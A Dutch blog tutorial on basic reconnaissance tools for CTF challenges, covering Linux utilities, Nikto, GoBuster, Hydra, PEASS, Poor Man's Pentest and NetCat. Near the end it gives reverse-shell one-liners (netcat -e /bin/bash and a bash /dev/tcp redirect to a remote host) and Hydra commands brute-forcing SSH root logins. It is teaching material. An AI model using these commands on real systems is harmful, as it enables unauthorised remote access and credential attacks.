Basic Reconnaissance
In een vorige post hebben we het gehad over “Network Reconnaissance”. N.a.v. deze post heb ik vele positieve reacties ontvangen incl. de vraag om meer te vertellen over “Basic Reconnaisance”. Hoewel dit voor mij een erg lastige opgave is, want ook hier geld nog meer dan bij Network Reconnaissance dat dit ontzettend afhankelijk is van het type opdracht. Mijn uitgangspunt in deze is geweest “welke tools gebruik ik meestal met CTF challenges”. Er zijn een aantal tools die ik simpelweg vaker gebruik dan andere tools en dit geeft me meteen de mogelijkheid om deze tools kort te benoemen. Hopelijk hebben jullie iets aan mijn tools voor “Basic Reconnaissance”.
Normaliter zou ik cURL, NMap en Metasploit ook altijd meenemen als nr.1 goto tools binnen mijn Basic Reconnaissance. Echter heb ik NMap en Metasploit al besproken in separate posts en in mijn Network Reconnaissance post. Ook voor cURL is er een separate post https://jarnobaselier.nl/curl/. Daarom zijn cURL, NMap en Metasploit uitgesloten van deze post.
De tools die altijd gebruikt worden tijdens Basic Reconnaissance ofwel in veel CTF (Capture The Flag) Challenges zijn:
- Basics – Tar / Gunzip / Grep / Find / String / File
- Editors: GEdit / Sublime-Text / Atom
- Streams
- Nikto
- GoBuster
- Hydra
- PEASS
- Poor Man’s Pentest
- NetCat
Basics – Tar / Gunzip / Grep / Find / String
De basic commands hebben helemaal niets met pentesting te maken maar simpelweg met de werking van Linux. De grap is dat het goed kunnen werken met een systeem je snelheid binnen CTF challenges kan verdubbelen. Zo zul je vaak bestanden moeten downloaden (wget) en deze bestanden moeten uitgepakt worden. Bestanden kunnen in allerlei archiefformaten komen. Vaak is dit *zip, *tar of *tar.gz.
Om tar.gz bestanden uit te pakken kun je b.v. GunZip gebruiken.
gunzip backup.tar.gz |
Maar met GunZip kun je geen *.tar of *.zip bestanden uitpakken. Om een *tar.gz met het tar commando uit te pakken gebruik je:
tar -zxvf backup.tar.gz |
- -z = Gebruik GZip compressie
- -x = Extract
- -v = Verbose Output
- -f = Gebruik de naam van het archief
Om een gewoon *tar bestand uit te pakken is de -z flag helemaal niet nodig:
tar -xvf backup.tar |
*Zip bestanden kunnen we echter niet uitpakken m.b.v. Tar. Hiervoor kunnen we b.v. gewoon de “unzip” applicatie gebruiken:
unzip -a backup.zip |
Wanneer er bestanden op het systeem staan is het vaak belangrijk om snel de juiste content te kunnen vinden. Wanneer je op zoek bent naar een specifiek bestand kun je het “find” commando gebruiken. Om het bestand “virus.dll” te zoeken op de hele partitie (root en alle onderliggende folders) gebruik je:
find ./ -name virus.dll |
Of zoek middels regex:
find ./ -name virus.* |
Maar je kunt ook zoeken naar patronen zoals lege directories:
find ./ -empty |
Maar wil je ook in bestanden zoeken dan is het GREP commando een fantastische uitkomst. Grep staat voor “Global Regular Expression Print”. Grep kan in bestanden zoeken en verwerkt deze regel voor regel. Elke match wordt vervolgens op het scherm getoond. Wanneer je b.v. wilt zoeken naar een IP adres in alle bestanden in de directory /home/files gebruik je:
grep “10.10.120.99” /home/files |
Voeg de -n flag toe om ook het regelnummer te krijgen en de –color flag om de gevonden overeenkomsten te kleuren:
grep --color -n “10.10.120.99” /home/files |
Uiteraard is GREP nog veel breder dan bovenstaande voorbeelden. Zo kun je ook alleen de inverted (niet matchende) resultaten bekijken of alleen de resultaten tellen. Wanneer je echter binaire bestanden wilt doorzoeken is het “Strings” commando erg handig. GNU-strings laat alle afdrukbare tekens van een binair bestand zien. Bijvoorbeeld:
strings virus.bin |
By default worden door strings alle karakter reeksen van 4 karakters of hoger afgedrukt. Wil je b.v. alle karakter reeksen v.a. 2 karakters dan kun je dit met de -n flag controleren. Daarna is de toevoeging van de -a flag belangrijk als je zeker wilt weten dat het volledige bestand gescand wordt:
strings -a -n 2 virus.bin |
Wanneer de content van 2 files met elkaar vergeleken moet worden kun je het “diff” commando gebruiken.
diff file1.txt file2.txt |
Mocht je toch liever gebruik maken van een GUI-based tool dan kun je b.v. kiezen voor Kompare, FiffMerge of Meld:
meld file1.txt file2.txt |
Soms heb je een bestand of binary en weet je helemaal niet wat voor type bestand het is. Het file commando test elk type leesargument om te bepalen wat voor soort bestand het is.
Editors: GEdit / Sublime-Text / Atom
Het volgende dat ook erg belangrijk is… is dat je een aantal goede editors ter beschikking hebt. Nano is perfect voor basic editing. VIM is vrij standaard en uitgebreid maar deze vindt ik gewoon niet lekker werken. Mijn 2 favoriete editors zijn GEdit en Sublime-Text. GEdit is iets minder uitgebreid dan Sublime-Text maar wel makkelijker te installeren:
sudo apt install gedit |
En vervolgens kun je GEdit starten vanuit je menu of als volgt:
gedit document.txt |
Hoewel GEdit een snelle, lightweigt editor is daar biedt Sublime-Text nog meer opties zoals de ondersteuning voor plugins, meerdere syntaxes en meerdere edit opties. Sublime-Text is overigens wat lastigere te installeren omdat je eerst de juiste repository moet toevoegen aan je sources list. De installatie van Sublime-Text is als volgt:
#Install Repository GPG Key: wget -qO - https://download.sublimetext.com/sublimehq-pub.gpg | sudo apt-key add - #Voeg het juiste kanaal toe aan je sources.list: echo "deb https://download.sublimetext.com/ apt/stable/" | sudo tee /etc/apt/sources.list.d/sublime-text.list #Update de apt sources: sudo apt-get update Installeer Sublime-Text: sudo apt-get install sublime-text |
Om vervolgens een document te openen en bewerken:
subl document.txt |
Let op, Sublime Text is niet gratis. De evaluatie kan prima gebruikt worden maar daarna moet een licentie gekocht worden voor +/- 80 euro. Je kunt ook Atom installeren welke niet zo uitgebreid is als Sublime-Text maar voor 99% van de toepassingen meer dan prima werkt.
#Install Repository GPG Key: wget -qO - https://packagecloud.io/AtomEditor/atom/gpgkey | sudo apt-key add - #Voeg het juiste kanaal toe aan je sources.list: sh -c 'echo "deb [arch=amd64] https://packagecloud.io/AtomEditor/atom/any/ any main" > /etc/apt/sources.list.d/atom.list' #Update de apt sources: sudo apt-get update Installeer Sublime-Text: sudo apt-get install atom |
Streams
Wanneer je de editor naar keuze geïnstalleerd hebt is het zaak om eerst goed te begrijpen wat streams zijn. Linux kent 3 soorten datastreams, namelijk stdin, stdout en stederr. Dit zijn drie standaard data streams die tot stand komen wanneer een Linux-commando wordt uitgevoerd. Deze streams kennen een standaard nummer:
- 0 = stdin (Standard Input)
- 1 = stdout (Standard Output)
- 2 = stderr (Standard Error)
Stream 1 & 2 zijn dus output streams en stream 0 is een input stream.
Wanneer een commando wordt uitgevoerd gebeurt dit via de input stream en het resultaat wordt gestuurd naar de output stream. Als er zich een fout voordoet wordt deze naar de terminal gestuurd over de error stream. Omdat veel commando’s streams gebruiken en manipuleren kan het begrijpen van streams je vaak enorm helpen.
Stel je voor dat je een script hebt welke iets print en welke vervolgens een commando uitvoert welke niet werkt. B.v.:
#!/bin/bash echo "Ich bin macho" mv /errordir/file.txt /errordiv/file2.txt |
Het uitvoeren van dit script zou resulteren in het volgende:
De Input stream is “./macho.sh”. De Output stream geeft “Ich bin macho” en de Error stream genereerd de error “mv: cannot stat ‘/errordir/file.txt’: No such file or directory”.
Wanneer we de Output van de Input redirecten naar een andere input stream (pipe) dan zul je zien dat de tekst “Ich bin macho” inderdaad geredirect wordt (en opgeslagen wordt in het bestand) maar dat de error stream nog wel de error laat zien en niet geredirect wordt:
./macho.sh > redirect.txt |
Om de error stream (2) ook te redirecten kunnen we een redirect op stream nummer 2 toevoegen:
./macho.sh > redirect.txt 2> error.txt |
Om ook de output van de 2e stream (error) weer samen te voegen in de eerste stream kunnen we de redirect zetten naar de eerste stream.
./macho.sh > redirect.txt 2>&1 |
We kunnen de output ook redirecten naar /dev/null. Door dat te doen wordt de output niet getoond en weggegooid.
./macho.sh > /dev/null 2>&1 |
Nikto
De eerste “echte” hackertool van dit artikel is Nikto. Nikto is een gratis open-source command-line web vulnerability scanner. Nikto wordt uiteraard gebruikt om zwakheden in websites te achterhalen en dat maakt Nikto erg waardevol om geautomatiseerd potentiele vulnerabilities bloot te leggen.
Let op, Nikto is een noisy (non-stealthy) applicatie en komt met een groot scala aan opties (ook om het iets meer stealthy te maken).
De meest eenvoudige manier om Nikto te gebruiken is simpelweg door een host op te geven en de scanner zijn werkt te laten doen:
nikto -h jarnobaselier.nl |
In plaats van een hostnaam of IP adres kun je ook een lijst opgeven waarbij iedere regel een hostnaam of IP adres bevat:
nikto -h hostnames.txt |
Wanneer je een SSL site scant is het sneller om dit meteen te specificeren zodat Nikto niet eerst de default HTTP scan probeert:
nikto -h jarnobaselier.nl -ssl |
Een fantastische toevoeging van Nikto is dat de output data ook in MSF formaat geexporteerd kan worden. Op die manier kan het meteen ingelezen worden in MetaSploit om naar een toepasbare exploit te zoeken:
nikto -h jarnobaselier.nl -ssl -format msf+ |
Uiteraard kun je ook andere formaten specificeren zoals CSV, XML, TXT en HTM.
Wil je je iets meer stealth toevoegen aan je scan dan gebruik je de evasion flag. Deze flag heeft 10 verschillende parameters waarmee de scan meer stealthy wordt:
nikto -h jarnobaselier.nl -ssl -evasion 1+ |
Daarnaast kun je ook proxies gebruiken, timeout settings aanpassen en DNS lookups uitschakelen voor een snellere scan. Wanneer je vaak scant met custom settings kun je ook een config file maken waarin je deze settings plaatst zodat je deze niet iedere keer op hoeft te geven. Deze custom opties kun je hier vinden: https://cirt.net/nikto2-docs/configuration.html. Om de config file te gebruiken, gebruik je:
nikto -h jarnobaselier.nl -config /home/nikto/customconfig.conf |
GoBuster
GoBuster is een fantastische (GO based) tool om verborgen pagina’s, directories, bestanden, subdomeinen en vhosts te vinden. In de basis geef je GoBuster een wordlist en deze probeert hij te resolven tegenover het hoofddomein. Is een resolvement succesvol dan bestaat de resource en deze wordt vervolgens geretourneerd. Je hebt 3 basisopties en de beschikbare flags variëren een per gekozen basisoptie.
- dns = DNS brute force mode
- dir = Classic directory brute force mode
- vhost = virtual host brute force mode
De default GoBuster scan scant op directories en is als volgt opgebouwd:
gobuster dir -u %website / IP of pad% -w %wordlist% -x %Extra file extensions om te targetten% |
Dus:
gobuster dir -u https://jarnobaselier.nl -w common-files.txt -x .php,.py,.xml,.csv,.html |
Bovenstaande scan zoekt dus naar directories volgens de namen in de opgegeven wordlist en zal vervolgens deze namen ook proberen te resolven in de directories als .php, .py, .xml etc. waardoor ook interessante files gevonden kunnen worden.
Middels flags kun je b.v. bepalen welke cookie er gebruikt moet worden voor de requests (-c), de useragent bepalen (default is “gobuster/3.0.1” (-a) een proxy gebruiken (-p) en Basic Auth username (-U) en wachtwoord (-P) opgeven. Ook kun je de het aantal threats (default 10) bepalen (-t), verbose output genereren (-v) en nog veel meer opties. Een meer geavanceerde GoBuster zoekopdracht ziet er dan als volgt uit:
gobuster dir -u https://jarnobaselier.nl -w common-files.txt -x .php,.py,.xml,.csv,.html -c 'session=123456' -t 20 -v |
DNS lookups gaan ongeveer hetzelfde. Hier kun je een custom DNS server opgeven (-r), de CName records tonen (-c) en de IP adressen tonen (-i). Uiteraard heb je hier ook weer de mogelijkheid tot verbose output (-v) en het bepalen van de gelijktijdige threads. Een DNS lookup ziet er dan als volgt uit:
gobuster dns -d jarnobaselier.nl -t 50 -w common-names.txt -i |
De VHOST lookup kent iets meer soorten flags zoals de flag voor het volgen van redirects (-r), het skippen van SSL certificaat verificatie (-k) en het opgeven van een custom cookies string (-c). Voor volledige hulp kun je natuurlijk altijd de help (-h) functie gebruiken. Een custom VHOST lookup ziet er als volgt uit:
gobuster vhost -u https://jarnobaselier.nl -w common-vhosts.txt |
Je kunt ook de output van andere applicaties gebruiken als wordlist door ze te pipen naad GoBuster en vervolgens de “-w -” flag te gebruiken. Hierbij verkrijg je dus de wordlist via de input stream (stdin).
hashcat -a 3 --stdout ?l | gobuster dir -u https://jarnobaselier.nl -w - -x .php,.py,.xml,.csv,.html |
THC Hydra
Hydra (of eigenlijk THC Hydra) is een CLI-based login cracker welke verschillende protocollen ondersteunt. Hydra kent o.a. verschillende plugins en verschillende GUI based implementaties zoals de “THC Hydra GUI”. Hydra maakt het mogelijk om verschillende protocollen de brute-forcen. Een kleine selectie van deze protocollen zijn:
- FTP
- HTTP(S)
- ICQ
- SMTP
- SOCHS5
- SSH (v1 en v2)
- Telnet
- VNC
Een andere addon voor Hydra is de “pw-inspector” welke het mogelijk maakt om wachtwoorden in te lezen en een autput te genereren welke wachtwoorden aan de gestelde requirements voldoen. Pw-inspector is dus een tool om op een snelle manier wachtwoorden samen te stellen.
Een aantal veelgebruikte flags zijn:
- -i = Input file
- -o = Output file
- -m = Minimale lengte
- -M = Maximale lengte
- -l = Lowercase karakters
- -u = Uppercase karakters
- -n = Numbers
- -p = Printable karakters
- -s = Special karakters
Stel je voor dat je een lijst hebt met duizenden wachtwoorden maar alleen de wachtwoorden wilt hebben van minimaal 4 karakters tot een maximum van 10 karakters en alleen maar lowercase, dan kun je het volgende commando gebruiken:
Input lijst: input.txt
Output lijst: output.txt
pw-inspector -i ~/lists/dirbuster-ng/wordlists/input.txt -o ~/lists/dirbuster-ng/wordlists/output.txt -m 4 -M 10 -l |
Wanneer je eenmaal een goede wachtwoord lijst hebt welke je wilt testen tegenover een specifieke dienst kun je Hydra gebruiken. De basis flags van Hydra zijn als volgt:
- -l = Login username
- -L = Login username file (bij gebruik van meerdere gebruikersnamen
- -P = Password list
- -t = Aantal gelijktijdige (paralelle) tasks
Wanneer je dus de user “root” wilt proberen te brute-forcen op een SSH verbinding dan kun je het volgende commando gebruiken:
hydra -l root -P ~/lists/dirbuster-ng/wordlists/output.txt -t 6 ssh://10.10.120.1 |
Andere belangrijke flags zijn o.a.:
- -R = Restore een vooraf afgebroken (of gecrashte) sessie
- -S = SSL verbinding
- -s = Port (indien de dienst op een non-default poort functioneert)
- -p = Wachtwoord (als je 1 wachtwoord hebt welke je wilt proberen i.p.v. een lijst)
- -C = Bij gebruik van een gebruikersnaam:wachtwoord bestand i.p.v. -l en -P opties
- -M = een lijst van diensten om te proberen (i.p.v. 1 statische dienst)
- -w = Wait time. Beinvloed de tijd die Hydra wacht op respons alvorens door te gaan naar een volgende poging
- -4 = Prefer IPv4
- -6 = Prefer IPv6
Wanneer je dus een gebruikersnaam:wachtwoord (met : gescheiden bestand) hebt en je een IPv6 based SSL verbinding wilt testen op poort 8443 voer je het volgende uit:
hydra -C ~/lists/dirbuster-ng/wordlists/username-password.txt -t 6 -S -6 -s 8443 https://10.10.120.99 |
PEASS
PEASS is een wat onbekendere tool in dit lijstje. PEASS is het “Privilege Escalation Awesome Scripts SUITE” en is een bash script welke fantastisch is om te bekijken of je local Privilege Escalation kunt uitvoeren op een box welke je overgenomen hebt als low-level user. Het script geeft duidelijk de uitgevoerde tests aan en werkt met kleuren om aan te geven welke gebieden mogelijk interessant zijn om nader te bekijken. Voor Windows heet het script “WinPEAS” en voor Linux heet het script “LinPEAS”. De installatie is simpelweg het downloaden van het script. Vervolgens maar je het script uitvoerbaar en voer je hem uit. Dus:
git clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git cd /privilege-escalation-awesome-scripts-suite/linPEAS chmod +xlinpeas.sh ./linpeas.sh |
Poor Man’s Pentest
De Poor Man’s Pentest suite is een collectie van tools geschreven door een van mijn favoriete pentesters “John Hammond” en bestaat uit een collectie van verschillende kleine Bash scrips welke vooral geschreven zijn om acties uit te kunnen voeren op een overgenomen box. Een belangrijk script in deze is het “stabilize_shell.sh” script welke ervoor zorgt van een reverse shell, welke geen of beperkte output retourneert gestabiliseerd wordt en eruit ziet als een local shell zodat er gemakkelijk mee gewerkt kan worden. Anders scripts zijn o.a.:
- add_cron_job.sh = Voeg een CRON task toe op de remote box
- add_ssh_key.sh = Add SSH key to authorized keys
- download_file_nc.sh = Download file met NetCat
- functions.sh = Diverse functies welke door de overige scripts gebruikt worden.
- lenum.sh = Linux Enumeratio Scrips
- nc_revshell.sh = Netcat Reverse Shell
- python_revshell.sh = Python Reverse Shell
- upload_file_nc.sh = Upload file met NetCat
- upload_file_wget.sh = Upload file met WGet
Installatie:
git clone https://github.com/JohnHammond/poor-mans-pentest.git mkdir /opt/pmp cd poor-mans-pentest mv * /opt/pmp cd /opt/pmp |
Zoals je ziet verplaatsen we de bestenden naar een directory in de /opt/ folder. Dit doen we omdat de statische paden in de scripts hier ook naartoe verwijzen. Je bent niet verplicht om dit te doen maar dan moet je wel zelf de scripts aanpassen naar het juiste pad. En zoals altijd telt dat je de acties in de scripts ook handmatig kunt uitvoeren… maar scripted is makkelijker.
Wat doet b.v. het stabilize_shell.sh script:
#!/bin/bash source "/opt/pmp/functions.sh" hide_guake command "python -c 'import pty; pty.spawn(\"/bin/bash\")'" ctrl Z command "stty raw -echo" command "fg" command "export TERM=xterm" |
Allereerst wordt het “functions.sh” bestand ingeladen vanuit de /opt/pmp directory.
“hide_guake” roept deze functie aan vanuit het functions.sh bestand en voert het volgende uit:
function hide_guake(){ xte "keydown Shift_L" "key Return" "key Return" "keyup Shift_L" sleep 0.5 } |
Hiermee openen we de quake terminal, zetten we de focus erop en verplaatsen we deze naar de achtergrond. Op deze manier kunnen we de vervolgcode “onzichtbaar” uitvoeren.
Het commando “python -c ‘import pty; pty.spawn(\”/bin/bash\” zorgt ervoor dat er een TTY shell geopend wordt zodat er volledige interactie mogelijk is.
CTRL Z stopt het TTY proces en keert terug naar de guake shell. Aldaar wordt het commando “stty raw -echo” uitgevoerd. Dit zorgt ervoor dat de input en output niet processed worden maar meteen worden doorgestuurd zonder deze op het scherm te laten zien.
Tenslotte gebruiken we het “fg” commando om de TTY Shell op de voorgrond te plaatsen en het “export TERM=xterm” commando zorgt ervoor dat xterm als terminal emulator gebruikt wordt (Ubuntu). Op deze manier heb je zeer silent een TTY shell geopend in de achtergrond en ervoor gezorgd dat je ermee kunt communiceren vanuit je reverse shell en je dus een “normale terminal” ervaring met volledige functionaliteit hebt.
NetCat
Zojuist hebben we het al even over een “Reverse Shell” gehad. NetCat (NC) is een applicatie voor het lezen van en schrijven naar netwerkverbindingen middels TCP of UDP en kan dus gebruikt worden als listener welke luistert volgens de opgegeven specificaties. NetCat is dus een ideale tool om een reverse shell naartoe te laten connecten.
Stel je voor dat je een reverse shell hebt welke connect naar “jarnobaselier.nl:8888” dan zou je de volgende listener met NetCat kunnen maken op de host waar het verkeer voor jarnobaselier.nl:8888 uitkomt:
nc -l -p 8888 |
Bovenstaande “-l” flag zorgt ervoor dat NetCat luistert op poort 8888 (TCP en UDP) en connect wanneer er een verbinding naartoe gemaakt wordt.
De “-v” flag zorgt voor verbose output. Alle flags kunnen we ook combineren. Dus:
nc -lvp 8888 |
Wanneer we alleen IP adressen en geen DNS namen gebruiken kunnen we met de -n flag DNS resolution uitschakelen:
nc -nlvp 8888 |
We kunnen ook met NetCat een verbinding opzetten:
nc jarnobaselier.nl 8888 -e /bin/bash |
De “-e” flag geeft aan vanuit waar commando’s uitgevoerd moeten worden. Wanneer NetCat niet op de box aanwezig is om een verbinding te maken kun je b.v. ook Bash of andere technieken gebruiken:
bash -i >& /dev/tcp/jarnobaselier.nl/8888 0>&1 |
Conclusie
Zoals je in deze post kunt zien zijn de skills die je het meeste toepast in een CTF challenge relatief basic en is het ontzettend belangrijk om voldoende Linux kennis te hebben en hoe je via de terminal diverse commando’s uitvoert. Wanneer je een goede Linux basis hebt en de juiste commando’s kent zul je de meeste zaken snel en efficiënt uit kunnen voeren. Een andere belangrijke skill is “automatisering” en hier wordt meestal Python of Bash voor gebruikt (zie bijvoorbeeld LinPeas). Dus ook Python en Bash skills kunnen ontzettend belangrijk zijn. Ken je tools en de omgeving is dus het belangrijkste advies.
Hopelijk vonden jullie deze post interessant en heb ik je wat basistips kunnen geven waardoor je met voldoende basiskennis aan de volgende CTF challenge of opdracht begint. Ik heb deze post dan ook met veel plezier geschreven! Maar posts schrijven en kennis delen kost simpelweg veel tijd. Dus ik zou het ook super leuk vinden als je mij een beetje zou willen helpen door deze post weder te delen op je eigen website of via je social media kanalen. Een simpele “like” geven is ook leuk. Kortom: ik ben blij met elke hulp die je me wilt bieden. ★★★ Hartelijk dank! ★★★